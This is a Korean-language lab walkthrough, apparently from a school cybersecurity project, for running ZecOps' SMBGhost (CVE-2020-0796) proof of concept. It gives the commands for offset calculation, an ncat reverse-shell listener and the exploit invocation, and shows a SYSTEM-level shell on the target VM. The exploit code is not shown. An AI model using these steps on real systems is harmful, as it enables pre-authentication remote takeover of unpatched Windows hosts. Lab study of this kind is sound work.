# CVE-2020-0796 (SMBGhost) 교육용 PoC 익스플로잇 Windows SMBv3에서 사전 인증(pre-auth) RCE를 시연하는 CVE-2020-0796 (SMBGhost) 교육용 개념 증명 익스플로잇입니다. 단계별 랩 구성, 오프셋 계산, 통제된 사이버 보안 교육을 위한 리버스 셸 실행을 포함합니다.
이 프로젝트는 SMBGhost로도 알려진 CVE-2020-0796의 개념 증명(PoC) 익스플로잇을 시연합니다. SMBv3를 사용하는 Windows 10 및 Windows Server 시스템에 영향을 미치는 치명적인 사전 인증 RCE 취약점입니다. 이 프로젝트는 학교 사이버 보안 프로젝트의 일환으로 개발되었습니다. 모든 익스플로잇 코드의 크레딧은 ZecOps에 있습니다. 저는 통제된 실습 환경에서 CVE-2020-0796의 악용을 시연하기 위해 교육 목적으로만 이를 사용하고 각색했습니다.
이 시연을 재현하려면 다음 설정이 필요합니다.
SMBleedingGhost.py by ZecOpscalc_target_offsets.bat by ZecOps공격자 및 대상 가상 머신 모두에서 명령 프롬프트를 실행합니다.
각 머신에서 다음 명령을 실행합니다.
ipconfig
CVE-2020-0796-RCE-POC-master 폴더로 이동합니다.calc_target_offsets.bat 스크립트를 더블클릭하여 실행합니다.CVE-2020-0796-RCE-POC-master 폴더를 엽니다.SMBleedingGhost.py를 마우스 오른쪽 버튼으로 클릭하고 메모장으로 엽니다.SMBleedingGhost.py 파일에서 아래로 스크롤하여 OFFSETS = {로 시작하는 부분을 찾습니다.새 명령 프롬프트를 열고 다음을 실행합니다:
ncat -lvp 4321
4321에 리스너를 설정하여 익스플로잇 성공 시 대상 VM에서 역방향 셸을 받습니다.cd Desktop
cd CVE-2020-0796-RCE-POC-master
dir
python SMBleedingGhost.py <target_ip> <attacker_ip> <port>
이 데모에서 사용된 예시:
python SMBleedingGhost.py 192.168.18.61 192.168.18.62 4321
192.168.18.61: 대상 VM IP192.168.18.62: 공격자 VM IP4321: netcat 리스너에 사용된 포트성공하면 netcat 창에 다음이 표시됩니다:
Microsoft Windows [Version 10.0.18362.356]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
이것은 다음을 확인합니다:
다음을 실행하여 접근 권한을 검증할 수 있습니다:
whoami
그러면 다음 결과가 표시됩니다:
whoami
nt authority\system
즉, 공격자 VM이 이제 대상 VM에 대해 시스템 수준 권한을 보유하게 됩니다.
다음을 실행할 수도 있습니다:
ipconfig
대상 VM의 네트워크와 상호 작용하고 있는지 확인하려면 다음을 실행합니다.

참고: 익스플로잇 후 대상 VM이 충돌할 수 있습니다. 충돌하면 다시 시작하면 됩니다. 공격자 세션은 재부팅 후 다시 설정해야 합니다.
이 시연은 ZecOps가 개발한 공개적으로 제공되는 개념 증명을 기반으로 합니다.
모든 익스플로잇 코드의 크레딧은 ZecOps에 있습니다. 저는 통제된 실습 환경에서 CVE-2020-0796의 악용을 시연하기 위해 교육 목적으로만 이를 사용하고 각색했습니다.
이 저장소는 교육 목적으로만 만들어졌습니다.
시연된 모든 도구, 스크립트 및 기술은 통제된 실습 환경에서 사이버 보안 취약점을 이해하는 데 도움을 주기 위한 것입니다. 소유하지 않았거나 테스트할 명시적 권한이 없는 시스템이나 네트워크에서 제공된 자료를 사용하려고 시도하지 마십시오.
소프트웨어의 오용에 대한 책임은 작성자에게 있지 않습니다.